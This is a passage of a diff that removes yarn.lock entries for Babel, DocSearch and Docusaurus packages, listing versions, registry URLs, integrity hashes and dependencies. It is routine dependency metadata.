"https://registry.yarnpkg.com/@babel/plugin-transform-unicode-escapes/-/plugin-transform-unicode-escapes-7.18.10.tgz#1ecfb0eda83d09bbcb77c09970c2dd55832aa246" - integrity sha512-kKAdAI+YzPgGY/ftStBFXTI1LZFju38rYThnfMykS+IXy8BVx+res7s2fxf1l8I35DV2T97ezo6+SGrXz6B3iQ== - dependencies: - "@babel/helper-plugin-utils" "^7.18.9" - -"@babel/plugin-transform-unicode-escapes@^7.18.6": - version "7.18.6" - resolved "https://registry.yarnpkg.com/@babel/plugin-transform-unicode-escapes/-/plugin-transform-unicode-escapes-7.18.6.tgz#0d01fb7fb2243ae1c033f65f6e3b4be78db75f27" - integrity sha512-XNRwQUXYMP7VLuy54cr/KS/WeL3AZeORhrmeZ7iewgu+X2eBqmpaLI/hzqr9ZxCeUoq0ASK4GUzSM0BDhZkLFw== - dependencies: - "@babel/helper-plugin-utils" "^7.18.6" - -"@babel/plugin-transform-unicode-regex@^7.18.6": - version "7.18.6" - resolved "https://registry.yarnpkg.com/@babel/plugin-transform-unicode-regex/-/plugin-transform-unicode-regex-7.18.6.tgz#194317225d8c201bbae103364ffe9e2cea36cdca" - integrity sha512-gE7A6Lt7YLnNOL3Pb9BNeZvi+d8l7tcRrG4+pwJjK9hD2xX4mEvjlQW60G9EEmfXVYRPv9VRQcyegIVHCql/AA== - dependencies: - "@babel/helper-create-regexp-features-plugin" "^7.18.6" - "@babel/helper-plugin-utils" "^7.18.6" - -"@babel/preset-env@^7.15.6": - version "7.18.9" - resolved "https://registry.yarnpkg.com/@babel/preset-env/-/preset-env-7.18.9.tgz#9b3425140d724fbe590322017466580844c7eaff" - integrity sha512-75pt/q95cMIHWssYtyfjVlvI+QEZQThQbKvR9xH+F/Agtw/s4Wfc2V9Bwd/P39VtixB7oWxGdH4GteTTwYJWMg== - dependencies: - "@babel/compat-data" "^7.18.8" - "@babel/helper-compilation-targets" "^7.18.9" - "@babel/helper-plugin-utils" "^7.18.9" - "@babel/helper-validator-option" "^7.18.6" - "@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression" "^7.18.6" - "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining" "^7.18.9" - "@babel/plugin-proposal-async-generator-functions" "^7.18.6" - "@babel/plugin-proposal-class-properties" "^7.18.6" - "@babel/plugin-proposal-class-static-block" "^7.18.6" - "@babel/plugin-proposal-dynamic-import" "^7.18.6" - "@babel/plugin-proposal-export-namespace-from" "^7.18.9" - "@babel/plugin-proposal-json-strings" "^7.18.6" - "@babel/plugin-proposal-logical-assignment-operators" "^7.18.9" - "@babel/plugin-proposal-nullish-coalescing-operator" "^7.18.6" - "@babel/plugin-proposal-numeric-separator" "^7.18.6" - "@babel/plugin-proposal-object-rest-spread" "^7.18.9" - "@babel/plugin-proposal-optional-catch-binding" "^7.18.6" - "@babel/plugin-proposal-optional-chaining" "^7.18.9" - "@babel/plugin-proposal-private-methods" "^7.18.6" - "@babel/plugin-proposal-private-property-in-object" "^7.18.6" - "@babel/plugin-proposal-unicode-property-regex" "^7.18.6" - "@babel/plugin-syntax-async-generators" "^7.8.4" - "@babel/plugin-syntax-class-properties" "^7.12.13" - "@babel/plugin-syntax-class-static-block" "^7.14.5" - "@babel/plugin-syntax-dynamic-import" "^7.8.3" - "@babel/plugin-syntax-export-namespace-from" "^7.8.3" - "@babel/plugin-syntax-import-assertions" "^7.18.6" - "@babel/plugin-syntax-json-strings" "^7.8.3" - "@babel/plugin-syntax-logical-assignment-operators" "^7.10.4" - "@babel/plugin-syntax-nullish-coalescing-operator" "^7.8.3" - "@babel/plugin-syntax-numeric-separator" "^7.10.4" - "@babel/plugin-syntax-object-rest-spread" "^7.8.3" - "@babel/plugin-syntax-optional-catch-binding" "^7.8.3" - "@babel/plugin-syntax-optional-chaining" "^7.8.3" - "@babel/plugin-syntax-private-property-in-object" "^7.14.5" - "@babel/plugin-syntax-top-level-await" "^7.14.5" - "@babel/plugin-transform-arrow-functions" "^7.18.6" - "@babel/plugin-transform-async-to-generator" "^7.18.6" - "@babel/plugin-transform-block-scoped-functions" "^7.18.6" - "@babel/plugin-transform-block-scoping" "^7.18.9" - "@babel/plugin-transform-classes" "^7.18.9" - "@babel/plugin-transform-computed-properties" "^7.18.9" - "@babel/plugin-transform-destructuring" "^7.18.9" - "@babel/plugin-transform-dotall-regex" "^7.18.6" - "@babel/plugin-transform-duplicate-keys" "^7.18.9" - "@babel/plugin-transform-exponentiation-operator" "^7.18.6" - "@babel/plugin-transform-for-of" "^7.18.8" - "@babel/plugin-transform-function-name" "^7.18.9" - "@babel/plugin-transform-literals" "^7.18.9" - "@babel/plugin-transform-member-expression-literals" "^7.18.6" - "@babel/plugin-transform-modules-amd" "^7.18.6" - "@babel/plugin-transform-modules-commonjs" "^7.18.6" - "@babel/plugin-transform-modules-systemjs" "^7.18.9" - "@babel/plugin-transform-modules-umd" "^7.18.6" - "@babel/plugin-transform-named-capturing-groups-regex" "^7.18.6" - "@babel/plugin-transform-new-target" "^7.18.6" - "@babel/plugin-transform-object-super" "^7.18.6" - "@babel/plugin-transform-parameters" "^7.18.8" - "@babel/plugin-transform-property-literals" "^7.18.6" - "@babel/plugin-transform-regenerator" "^7.18.6" - "@babel/plugin-transform-reserved-words" "^7.18.6" - "@babel/plugin-transform-shorthand-properties" "^7.18.6" - "@babel/plugin-transform-spread" "^7.18.9" - "@babel/plugin-transform-sticky-regex" "^7.18.6" - "@babel/plugin-transform-template-literals" "^7.18.9" - "@babel/plugin-transform-typeof-symbol" "^7.18.9" - "@babel/plugin-transform-unicode-escapes" "^7.18.6" - "@babel/plugin-transform-unicode-regex" "^7.18.6" - "@babel/preset-modules" "^0.1.5" - "@babel/types" "^7.18.9" - babel-plugin-polyfill-corejs2 "^0.3.1" - babel-plugin-polyfill-corejs3 "^0.5.2" - babel-plugin-polyfill-regenerator "^0.3.1" - core-js-compat "^3.22.1" - semver "^6.3.0" - -"@babel/preset-env@^7.18.6": - version "7.20.2" - resolved "https://registry.yarnpkg.com/@babel/preset-env/-/preset-env-7.20.2.tgz#9b1642aa47bb9f43a86f9630011780dab7f86506" - integrity sha512-1G0efQEWR1EHkKvKHqbG+IN/QdgwfByUpM5V5QroDzGV2t3S/WXNQd693cHiHTlCFMpr9B6FkPFXDA2lQcKoDg== - dependencies: - "@babel/compat-data" "^7.20.1" - "@babel/helper-compilation-targets" "^7.20.0" - "@babel/helper-plugin-utils" "^7.20.2" - "@babel/helper-validator-option" "^7.18.6" - "@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression" "^7.18.6" - "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining" "^7.18.9" - "@babel/plugin-proposal-async-generator-functions" "^7.20.1" - "@babel/plugin-proposal-class-properties" "^7.18.6" - "@babel/plugin-proposal-class-static-block" "^7.18.6" - "@babel/plugin-proposal-dynamic-import" "^7.18.6" - "@babel/plugin-proposal-export-namespace-from" "^7.18.9" - "@babel/plugin-proposal-json-strings" "^7.18.6" - "@babel/plugin-proposal-logical-assignment-operators" "^7.18.9" - "@babel/plugin-proposal-nullish-coalescing-operator" "^7.18.6" - "@babel/plugin-proposal-numeric-separator" "^7.18.6" - "@babel/plugin-proposal-object-rest-spread" "^7.20.2" - "@babel/plugin-proposal-optional-catch-binding" "^7.18.6" - "@babel/plugin-proposal-optional-chaining" "^7.18.9" - "@babel/plugin-proposal-private-methods" "^7.18.6" - "@babel/plugin-proposal-private-property-in-object" "^7.18.6" - "@babel/plugin-proposal-unicode-property-regex" "^7.18.6" - "@babel/plugin-syntax-async-generators" "^7.8.4" - "@babel/plugin-syntax-class-properties" "^7.12.13" - "@babel/plugin-syntax-class-static-block" "^7.14.5" - "@babel/plugin-syntax-dynamic-import" "^7.8.3" - "@babel/plugin-syntax-export-namespace-from" "^7.8.3" - "@babel/plugin-syntax-import-assertions" "^7.20.0" - "@babel/plugin-syntax-json-strings" "^7.8.3" - "@babel/plugin-syntax-logical-assignment-operators" "^7.10.4" - "@babel/plugin-syntax-nullish-coalescing-operator" "^7.8.3" - "@babel/plugin-syntax-numeric-separator" "^7.10.4" - "@babel/plugin-syntax-object-rest-spread" "^7.8.3" - "@babel/plugin-syntax-optional-catch-binding" "^7.8.3" - "@babel/plugin-syntax-optional-chaining" "^7.8.3" - "@babel/plugin-syntax-private-property-in-object" "^7.14.5" - "@babel/plugin-syntax-top-level-await" "^7.14.5" - "@babel/plugin-transform-arrow-functions" "^7.18.6" - "@babel/plugin-transform-async-to-generator" "^7.18.6" - "@babel/plugin-transform-block-scoped-functions" "^7.18.6" - "@babel/plugin-transform-block-scoping" "^7.20.2" - "@babel/plugin-transform-classes" "^7.20.2" - "@babel/plugin-transform-computed-properties" "^7.18.9" - "@babel/plugin-transform-destructuring" "^7.20.2" - "@babel/plugin-transform-dotall-regex" "^7.18.6" - "@babel/plugin-transform-duplicate-keys" "^7.18.9" - "@babel/plugin-transform-exponentiation-operator" "^7.18.6" - "@babel/plugin-transform-for-of" "^7.18.8" - "@babel/plugin-transform-function-name" "^7.18.9" - "@babel/plugin-transform-literals" "^7.18.9" - "@babel/plugin-transform-member-expression-literals" "^7.18.6" - "@babel/plugin-transform-modules-amd" "^7.19.6" - "@babel/plugin-transform-modules-commonjs" "^7.19.6" - "@babel/plugin-transform-modules-systemjs" "^7.19.6" - "@babel/plugin-transform-modules-umd" "^7.18.6" - "@babel/plugin-transform-named-capturing-groups-regex" "^7.19.1" - "@babel/plugin-transform-new-target" "^7.18.6" - "@babel/plugin-transform-object-super" "^7.18.6" - "@babel/plugin-transform-parameters" "^7.20.1" - "@babel/plugin-transform-property-literals" "^7.18.6" - "@babel/plugin-transform-regenerator" "^7.18.6" - "@babel/plugin-transform-reserved-words" "^7.18.6" - "@babel/plugin-transform-shorthand-properties" "^7.18.6" - "@babel/plugin-transform-spread" "^7.19.0" - "@babel/plugin-transform-sticky-regex" "^7.18.6" - "@babel/plugin-transform-template-literals" "^7.18.9" - "@babel/plugin-transform-typeof-symbol" "^7.18.9" - "@babel/plugin-transform-unicode-escapes" "^7.18.10" - "@babel/plugin-transform-unicode-regex" "^7.18.6" - "@babel/preset-modules" "^0.1.5" - "@babel/types" "^7.20.2" - babel-plugin-polyfill-corejs2 "^0.3.3" - babel-plugin-polyfill-corejs3 "^0.6.0" - babel-plugin-polyfill-regenerator "^0.4.1" - core-js-compat "^3.25.1" - semver "^6.3.0" - -"@babel/preset-modules@^0.1.5": - version "0.1.5" - resolved "https://registry.yarnpkg.com/@babel/preset-modules/-/preset-modules-0.1.5.tgz#ef939d6e7f268827e1841638dc6ff95515e115d9" - integrity sha512-A57th6YRG7oR3cq/yt/Y84MvGgE0eJG2F1JLhKuyG+jFxEgrd/HAMJatiFtmOiZurz+0DkrvbheCLaV5f2JfjA== - dependencies: - "@babel/helper-plugin-utils" "^7.0.0" - "@babel/plugin-proposal-unicode-property-regex" "^7.4.4" - "@babel/plugin-transform-dotall-regex" "^7.4.4" - "@babel/types" "^7.4.4" - esutils "^2.0.2" - -"@babel/preset-react@^7.14.5", "@babel/preset-react@^7.18.6": - version "7.18.6" - resolved "https://registry.yarnpkg.com/@babel/preset-react/-/preset-react-7.18.6.tgz#979f76d6277048dc19094c217b507f3ad517dd2d" - integrity sha512-zXr6atUmyYdiWRVLOZahakYmOBHtWc2WGCkP8PYTgZi0iJXDY2CN180TdrIW4OGOAdLc7TifzDIvtx6izaRIzg== - dependencies: - "@babel/helper-plugin-utils" "^7.18.6" - "@babel/helper-validator-option" "^7.18.6" - "@babel/plugin-transform-react-display-name" "^7.18.6" - "@babel/plugin-transform-react-jsx" "^7.18.6" - "@babel/plugin-transform-react-jsx-development" "^7.18.6" - "@babel/plugin-transform-react-pure-annotations" "^7.18.6" - -"@babel/preset-typescript@^7.15.0", "@babel/preset-typescript@^7.18.6": - version "7.18.6" - resolved "https://registry.yarnpkg.com/@babel/preset-typescript/-/preset-typescript-7.18.6.tgz#ce64be3e63eddc44240c6358daefac17b3186399" - integrity sha512-s9ik86kXBAnD760aybBucdpnLsAt0jK1xqJn2juOn9lkOvSHV60os5hxoVJsPzMQxvnUJFAlkont2DvvaYEBtQ== - dependencies: - "@babel/helper-plugin-utils" "^7.18.6" - "@babel/helper-validator-option" "^7.18.6" - "@babel/plugin-transform-typescript" "^7.18.6" - -"@babel/runtime-corejs3@^7.18.6": - version "7.20.1" - resolved "https://registry.yarnpkg.com/@babel/runtime-corejs3/-/runtime-corejs3-7.20.1.tgz#d0775a49bb5fba77e42cbb7276c9955c7b05af8d" - integrity sha512-CGulbEDcg/ND1Im7fUNRZdGXmX2MTWVVZacQi/6DiKE5HNwZ3aVTm5PV4lO8HHz0B2h8WQyvKKjbX5XgTtydsg== - dependencies: - core-js-pure "^3.25.1" - regenerator-runtime "^0.13.10" - -"@babel/runtime@^7.1.2", "@babel/runtime@^7.10.2", "@babel/runtime@^7.10.3", "@babel/runtime@^7.12.13", "@babel/runtime@^7.12.5", "@babel/runtime@^7.8.4": - version "7.18.9" - resolved "https://registry.yarnpkg.com/@babel/runtime/-/runtime-7.18.9.tgz#b4fcfce55db3d2e5e080d2490f608a3b9f407f4a" - integrity sha512-lkqXDcvlFT5rvEjiu6+QYO+1GXrEHRo2LOtS7E4GtX5ESIZOgepqsZBVIj6Pv+a6zqsya9VCgiK1KAK4BvJDAw== - dependencies: - regenerator-runtime "^0.13.4" - -"@babel/runtime@^7.18.6": - version "7.20.1" - resolved "https://registry.yarnpkg.com/@babel/runtime/-/runtime-7.20.1.tgz#1148bb33ab252b165a06698fde7576092a78b4a9" - integrity sha512-mrzLkl6U9YLF8qpqI7TB82PESyEGjm/0Ly91jG575eVxMMlb8fYfOXFZIJ8XfLrJZQbm7dlKry2bJmXBUEkdFg== - dependencies: - regenerator-runtime "^0.13.10" - -"@babel/template@^7.12.7", "@babel/template@^7.18.6": - version "7.18.6" - resolved "https://registry.yarnpkg.com/@babel/template/-/template-7.18.6.tgz#1283f4993e00b929d6e2d3c72fdc9168a2977a31" - integrity sha512-JoDWzPe+wgBsTTgdnIma3iHNFC7YVJoPssVBDjiHfNlyt4YcunDtcDOUmfVDfCK5MfdsaIoX9PkijPhjH3nYUw== - dependencies: - "@babel/code-frame" "^7.18.6" - "@babel/parser" "^7.18.6" - "@babel/types" "^7.18.6" - -"@babel/template@^7.18.10": - version "7.18.10" - resolved "https://registry.yarnpkg.com/@babel/template/-/template-7.18.10.tgz#6f9134835970d1dbf0835c0d100c9f38de0c5e71" - integrity sha512-TI+rCtooWHr3QJ27kJxfjutghu44DLnasDMwpDqCXVTal9RLp3RSYNh4NdBrRP2cQAoG9A8juOQl6P6oZG4JxA== - dependencies: - "@babel/code-frame" "^7.18.6" - "@babel/parser" "^7.18.10" - "@babel/types" "^7.18.10" - -"@babel/template@^7.22.15": - version "7.22.15" - resolved "https://registry.yarnpkg.com/@babel/template/-/template-7.22.15.tgz#09576efc3830f0430f4548ef971dde1350ef2f38" - integrity sha512-QPErUVm4uyJa60rkI73qneDacvdvzxshT3kksGqlGWYdOTIUOwJ7RDUL8sGqslY1uXWSL6xMFKEXDS3ox2uF0w== - dependencies: - "@babel/code-frame" "^7.22.13" - "@babel/parser" "^7.22.15" - "@babel/types" "^7.22.15" - -"@babel/traverse@^7.12.9", "@babel/traverse@^7.13.0", "@babel/traverse@^7.18.8", "@babel/traverse@^7.18.9", "@babel/traverse@^7.19.1", "@babel/traverse@^7.20.1": - version "7.23.2" - resolved "https://registry.yarnpkg.com/@babel/traverse/-/traverse-7.23.2.tgz#329c7a06735e144a506bdb2cad0268b7f46f4ad8" - integrity sha512-azpe59SQ48qG6nu2CzcMLbxUudtN+dOM9kDbUqGq3HXUJRlo7i8fvPoxQUzYgLZ4cMVmuZgm8vvBpNeRhd6XSw== - dependencies: - "@babel/code-frame" "^7.22.13" - "@babel/generator" "^7.23.0" - "@babel/helper-environment-visitor" "^7.22.20" - "@babel/helper-function-name" "^7.23.0" - "@babel/helper-hoist-variables" "^7.22.5" - "@babel/helper-split-export-declaration" "^7.22.6" - "@babel/parser" "^7.23.0" - "@babel/types" "^7.23.0" - debug "^4.1.0" - globals "^11.1.0" - -"@babel/types@^7.12.7", "@babel/types@^7.15.6", "@babel/types@^7.18.6", "@babel/types@^7.18.9", "@babel/types@^7.4.4": - version "7.18.9" - resolved "https://registry.yarnpkg.com/@babel/types/-/types-7.18.9.tgz#7148d64ba133d8d73a41b3172ac4b83a1452205f" - integrity sha512-WwMLAg2MvJmt/rKEVQBBhIVffMmnilX4oe0sRe7iPOHIGsqpruFHHdrfj4O1CMMtgMtCU4oPafZjDPCRgO57Wg== - dependencies: - "@babel/helper-validator-identifier" "^7.18.6" - to-fast-properties "^2.0.0" - -"@babel/types@^7.18.10", "@babel/types@^7.19.0", "@babel/types@^7.20.0", "@babel/types@^7.20.2": - version "7.20.2" - resolved "https://registry.yarnpkg.com/@babel/types/-/types-7.20.2.tgz#67ac09266606190f496322dbaff360fdaa5e7842" - integrity sha512-FnnvsNWgZCr232sqtXggapvlkk/tuwR/qhGzcmxI0GXLCjmPYQPzio2FbdlWuY6y1sHFfQKk+rRbUZ9VStQMog== - dependencies: - "@babel/helper-string-parser" "^7.19.4" - "@babel/helper-validator-identifier" "^7.19.1" - to-fast-properties "^2.0.0" - -"@babel/types@^7.22.15", "@babel/types@^7.22.5", "@babel/types@^7.23.0": - version "7.23.0" - resolved "https://registry.yarnpkg.com/@babel/types/-/types-7.23.0.tgz#8c1f020c9df0e737e4e247c0619f58c68458aaeb" - integrity sha512-0oIyUfKoI3mSqMvsxBdclDwxXKXAUA8v/apZbc+iSyARYou1o8ZGDxbUYyLFoW2arqS2jDGqJuZvv1d/io1axg== - dependencies: - "@babel/helper-string-parser" "^7.22.5" - "@babel/helper-validator-identifier" "^7.22.20" - to-fast-properties "^2.0.0" - -"@colors/colors@1.5.0": - version "1.5.0" - resolved "https://registry.yarnpkg.com/@colors/colors/-/colors-1.5.0.tgz#bb504579c1cae923e6576a4f5da43d25f97bdbd9" - integrity sha512-ooWCrlZP11i8GImSjTHYHLkvFDP48nS4+204nGb1RiX/WXYHmJA2III9/e2DWVabCESdW7hBAEzHRqUn9OUVvQ== - -"@docsearch/css@3.3.0": - version "3.3.0" - resolved "https://registry.yarnpkg.com/@docsearch/css/-/css-3.3.0.tgz#d698e48302d12240d7c2f7452ccb2d2239a8cd80" - integrity sha512-rODCdDtGyudLj+Va8b6w6Y85KE85bXRsps/R4Yjwt5vueXKXZQKYw0aA9knxLBT6a/bI/GMrAcmCR75KYOM6hg== - -"@docsearch/react@^3.1.1": - version "3.3.0" - resolved "https://registry.yarnpkg.com/@docsearch/react/-/react-3.3.0.tgz#b8ac8e7f49b9bf2f96d34c24bc1cfd097ec0eead" - integrity sha512-fhS5adZkae2SSdMYEMVg6pxI5a/cE+tW16ki1V0/ur4Fdok3hBRkmN/H8VvlXnxzggkQIIRIVvYPn00JPjen3A== - dependencies: - "@algolia/autocomplete-core" "1.7.2" - "@algolia/autocomplete-preset-algolia" "1.7.2" - "@docsearch/css" "3.3.0" - algoliasearch "^4.0.0" - -"@docusaurus/core@2.4.1", "@docusaurus/core@^2.4.1": - version "2.4.1" - resolved "https://registry.yarnpkg.com/@docusaurus/core/-/core-2.4.1.tgz#4b8ff5766131ce3fbccaad0b1daf2ad4dc76f62d" - integrity sha512-SNsY7PshK3Ri7vtsLXVeAJGS50nJN3RgF836zkyUfAD01Fq+sAk5EwWgLw+nnm5KVNGDu7PRR2kRGDsWvqpo0g== - dependencies: - "@babel/core" "^7.18.6" - "@babel/generator" "^7.18.7" - "@babel/plugin-syntax-dynamic-import" "^7.8.3" - "@babel/plugin-transform-runtime" "^7.18.6" - "@babel/preset-env" "^7.18.6" - "@babel/preset-react" "^7.18.6" - "@babel/preset-typescript" "^7.18.6" - "@babel/runtime" "^7.18.6" - "@babel/runtime-corejs3" "^7.18.6" - "@babel/traverse" "^7.18.8" - "@docusaurus/cssnano-preset" "2.4.1" - "@docusaurus/logger" "2.4.1" - "@docusaurus/mdx-loader" "2.4.1" - "@docusaurus/react-loadable" "5.5.2" - "@docusaurus/utils" "2.4.1" - "@docusaurus/utils-common" "2.4.1" - "@docusaurus/utils-validation" "2.4.1" - "@slorber/static-site-generator-webpack-plugin" "^4.0.7" - "@svgr/webpack" "^6.2.1" - autoprefixer "^10.4.7" - babel-loader "^8.2.5" - babel-plugin-dynamic-import-node "^2.3.3" - boxen "^6.2.1" - chalk "^4.1.2" - chokidar "^3.5.3" - clean-css "^5.3.0" - cli-table3 "^0.6.2" - combine-promises "^1.1.0" - commander "^5.1.0" - copy-webpack-plugin "^11.0.0" - core-js "^3.23.3" - css-loader "^6.7.1" - css-minimizer-webpack-plugin "^4.0.0" - cssnano "^5.1.12" - del "^6.1.1" - detect-port "^1.3.0" - escape-html "^1.0.3" - eta "^2.0.0" - file-loader "^6.2.0" - fs-extra "^10.1.0" - html-minifier-terser "^6.1.0" - html-tags "^3.2.0" - html-webpack-plugin "^5.5.0" - import-fresh "^3.3.0" - leven "^3.1.0" - lodash "^4.17.21" - mini-css-extract-plugin "^2.6.1" - postcss "^8.4.14" - postcss-loader "^7.0.0" - prompts "^2.4.2" - react-dev-utils "^12.0.1" - react-helmet-async "^1.3.0" - react-loadable "npm:@docusaurus/react-loadable@5.5.2" - react-loadable-ssr-addon-v5-slorber "^1.0.1" - react-router "^5.3.3" - react-router-config "^5.1.1" - react-router-dom "^5.3.3" - rtl-detect "^1.0.4" - semver "^7.3.7" - serve-handler "^6.1.3" - shelljs "^0.8.5" - terser-webpack-plugin "^5.3.3" - tslib "^2.4.0" - update-notifier "^5.1.0" - url-loader "^4.1.1" - wait-on "^6.0.1" - webpack "^5.73.0" - webpack-bundle-analyzer "^4.5.0" - webpack-dev-server "^4.9.3" - webpack-merge "^5.8.0" - webpackbar "^5.0.2" - -"@docusaurus/cssnano-preset@2.4.1": - version "2.4.1" - resolved "https://registry.yarnpkg.com/@docusaurus/cssnano-preset/-/cssnano-preset-2.4.1.tgz#eacadefb1e2e0f59df3467a0fe83e4ff79eed163" - integrity sha512-ka+vqXwtcW1NbXxWsh6yA1Ckii1klY9E53cJ4O9J09nkMBgrNX3iEFED1fWdv8wf4mJjvGi5RLZ2p9hJNjsLyQ== - dependencies: - cssnano-preset-advanced "^5.3.8" - postcss "^8.4.14" - postcss-sort-media-queries "^4.2.1" - tslib "^2.4.0" - -"@docusaurus/logger@2.4.1": - version "2.4.1" - resolved "https://registry.yarnpkg.com/@docusaurus/logger/-/logger-2.4.1.tgz#4d2c0626b40752641f9fdd93ad9b5a7a0792f767" - integrity sha512-5h5ysIIWYIDHyTVd8BjheZmQZmEgWDR54aQ1BX9pjFfpyzFo5puKXKYrYJXbjEHGyVhEzmB9UXwbxGfaZhOjcg== - dependencies: - chalk "^4.1.2" - tslib "^2.4.0" - -"@docusaurus/mdx-loader@2.4.1": - version "2.4.1" - resolved "https://registry.yarnpkg.com/@docusaurus/mdx-loader/-/mdx-loader-2.4.1.tgz#6425075d7fc136dbfdc121349060cedd64118393" - integrity sha512-4KhUhEavteIAmbBj7LVFnrVYDiU51H5YWW1zY6SmBSte/YLhDutztLTBE0PQl1Grux1jzUJeaSvAzHpTn6JJDQ== - dependencies: - "@babel/parser" "^7.18.8" - "@babel/traverse" "^7.18.8" - "@docusaurus/logger" "2.4.1" - "@docusaurus/utils" "2.4.1" - "@mdx-js/mdx" "^1.6.22" - escape-html "^1.0.3" - file-loader "^6.2.0" - fs-extra "^10.1.0" - image-size "^1.0.1" - mdast-util-to-string "^2.0.0" - remark-emoji "^2.2.0" - stringify-object "^3.3.0" - tslib "^2.4.0" - unified "^9.2.2" - unist-util-visit "^2.0.3" - url-loader "^4.1.1" - webpack "^5.73.0" - -"@docusaurus/module-type-aliases@2.4.1": - version "2.4.1" - resolved "https://registry.yarnpkg.com/@docusaurus/module-type-aliases/-/module-type-aliases-2.4.1.tgz#38b3c2d2ae44bea6d57506eccd84280216f0171c" - integrity sha512-gLBuIFM8Dp2XOCWffUDSjtxY7jQgKvYujt7Mx5s4FCTfoL5dN1EVbnrn+O2Wvh8b0a77D57qoIDY7ghgmatR1A== - dependencies: - "@docusaurus/react-loadable" "5.5.2" - "@docusaurus/types" "2.4.1" - "@types/history" "^4.7.11" - "@types/react" "*" - "@types/react-router-config" "*" - "@types/react-router-dom" "*" - react-helmet-async "*" - react-loadable "npm:@docusaurus/react-loadable@5.5.2" - -"@docusaurus/plugin-client-redirects@^2.4.1": - version "2.4.1" - resolved "https://registry.yarnpkg.com/@docusaurus/plugin-client-redirects/-/plugin-client-redirects-2.4.1.tgz#a28afcc4a1cb7657168ce37a57efd3194c20a53a" - integrity sha512-tp0j16gaLIJ4p+IR0P6KDOFsTOGGMY54MNPnmM61Vaqqt5omLqsuKUO8UlCGU1oW/4EIQOhXYy99XYY5MjE+7A== - dependencies: - "@docusaurus/core" "2.4.1" - "@docusaurus/logger" "2.4.1" - "@docusaurus/utils" "2.4.1" - "@docusaurus/utils-common" "2.4.1" - "@docusaurus/utils-validation" "2.4.1" - eta "^2.0.0" - fs-extra "^10.1.0" - lodash "^4.17.21" - tslib "^2.4.0" - -"@docusaurus/plugin-content-blog@2.4.1": - version "2.4.1" - resolved "https://registry.yarnpkg.com/@docusaurus/plugin-content-blog/-/plugin-content-blog-2.4.1.tgz#c705a8b1a36a34f181dcf43b7770532e4dcdc4a3" - integrity sha512-E2i7Knz5YIbE1XELI6RlTnZnGgS52cUO4BlCiCUCvQHbR+s1xeIWz4C6BtaVnlug0Ccz7nFSksfwDpVlkujg5Q== - dependencies: - "@docusaurus/core" "2.4.1" - "@docusaurus/logger" "2.4.1" - "@docusaurus/mdx-loader" "2.4.1" - "@docusaurus/types" "2.4.1" - "@docusaurus/utils" "2.4.1" - "@docusaurus/utils-common" "2.4.1" - "@docusaurus/utils-validation" "2.4.1" - cheerio "^1.0.0-rc.12" - feed "^4.2.2" - fs-extra "^10.1.0" - lodash "^4.17.21" - reading-time "^1.5.0" - tslib "^2.4.0" - unist-util-visit "^2.0.3" - utility-types "^3.10.0" - webpack "^5.73.0" - -"@docusaurus/plugin-content-docs@2.4.1": - version "2.4.1" - resolved "https://registry.yarnpkg.com/@docusaurus/plugin-content-docs/-/plugin-content-docs-2.4.1.tgz#ed94d9721b5ce7a956fb01cc06c40d8eee8dfca7" - integrity sha512-Lo7lSIcpswa2Kv4HEeUcGYqaasMUQNpjTXpV0N8G6jXgZaQurqp7E8NGYeGbDXnb48czmHWbzDL4S3+BbK0VzA== - dependencies: - "@docusaurus/core" "2.4.1" - "@docusaurus/logger" "2.4.1" - "@docusaurus/mdx-loader" "2.4.1" - "@docusaurus/module-type-aliases" "2.4.1" - "@docusaurus/types" "2.4.1" - "@docusaurus/utils" "2.4.1" - "@docusaurus/utils-validation" "2.4.1" - "@types/react-router-config" "^5.0.6" - combine-promises "^1.1.0" - fs-extra "^10.1.0" - import-fresh "^3.3.0" - js-yaml "^4.1.0" - lodash "^4.17.21" - tslib "^2.4.0" - utility-types "^3.10.0" - webpack "^5.73.0" - -"@docusaurus/plugin-content-pages@2.4.1": - version "2.4.1" - resolved "https://registry.yarnpkg.com/@docusaurus/plugin-content-pages/-/plugin-content-pages-2.4.1.tgz#c534f7e49967699a45bbe67050d1605ebbf3d285" - integrity sha512-/UjuH/76KLaUlL+o1OvyORynv6FURzjurSjvn2lbWTFc4tpYY2qLYTlKpTCBVPhlLUQsfyFnshEJDLmPneq2oA== - dependencies: - "@docusaurus/core" "2.4.1" - "@docusaurus/mdx-loader" "2.4.1" - "@docusaurus/types" "2.4.1" - "@docusaurus/utils" "2.4.1" - "@docusaurus/utils-validation" "2.4.1" - fs-extra "^10.1.0" - tslib "^2.4.0" - webpack "^5.73.0" - -"@docusaurus/plugin-debug@2.4.1": - version "2.4.1" - resolved "https://registry.yarnpkg.com/@docusaurus/plugin-debug/-/plugin-debug-2.4.1.tgz#461a2c77b0c5a91b2c05257c8f9585412aaa59dc" - integrity sha512-7Yu9UPzRShlrH/G8btOpR0e6INFZr0EegWplMjOqelIwAcx3PKyR8mgPTxGTxcqiYj6hxSCRN0D8R7YrzImwNA== - dependencies: - "@docusaurus/core" "2.4.1" - "@docusaurus/types" "2.4.1" - "@docusaurus/utils" "2.4.1" - fs-extra "^10.1.0" - react-json-view "^1.21.3" - tslib "^2.4.0" - -"@docusaurus/plugin-google-analytics@2.4.1": - version "2.4.1" - resolved "https://registry.yarnpkg.com/@docusaurus/plugin-google-analytics/-/plugin-google-analytics-2.4.1.tgz#30de1c35773bf9d52bb2d79b201b23eb98022613" - integrity sha512-dyZJdJiCoL+rcfnm0RPkLt/o732HvLiEwmtoNzOoz9MSZz117UH2J6U2vUDtzUzwtFLIf32KkeyzisbwUCgcaQ== - dependencies: - "@docusaurus/core" "2.4.1" - "@docusaurus/types" "2.4.1" - "@docusaurus/utils-validation" "2.4.1" - tslib "^2.4.0" - -"@docusaurus/plugin-google-gtag@2.4.1": - version "2.4.1" - resolved "https://registry.yarnpkg.com/@docusaurus/plugin-google-gtag/-/plugin-google-gtag-2.4.1.tgz#6a3eb91022714735e625c7ca70ef5188fa7bd0dc" - integrity sha512-mKIefK+2kGTQBYvloNEKtDmnRD7bxHLsBcxgnbt4oZwzi2nxCGjPX6+9SQO2KCN5HZbNrYmGo5GJfMgoRvy6uA== - dependencies: - "@docusaurus/core" "2.4.1" - "@docusaurus/types" "2.4.1" - "@docusaurus/utils-validation" "2.4.1" - tslib "^2.4.0" - -"@docusaurus/plugin-google-tag-manager@2.4.1": - version "2.4.1" - resolved 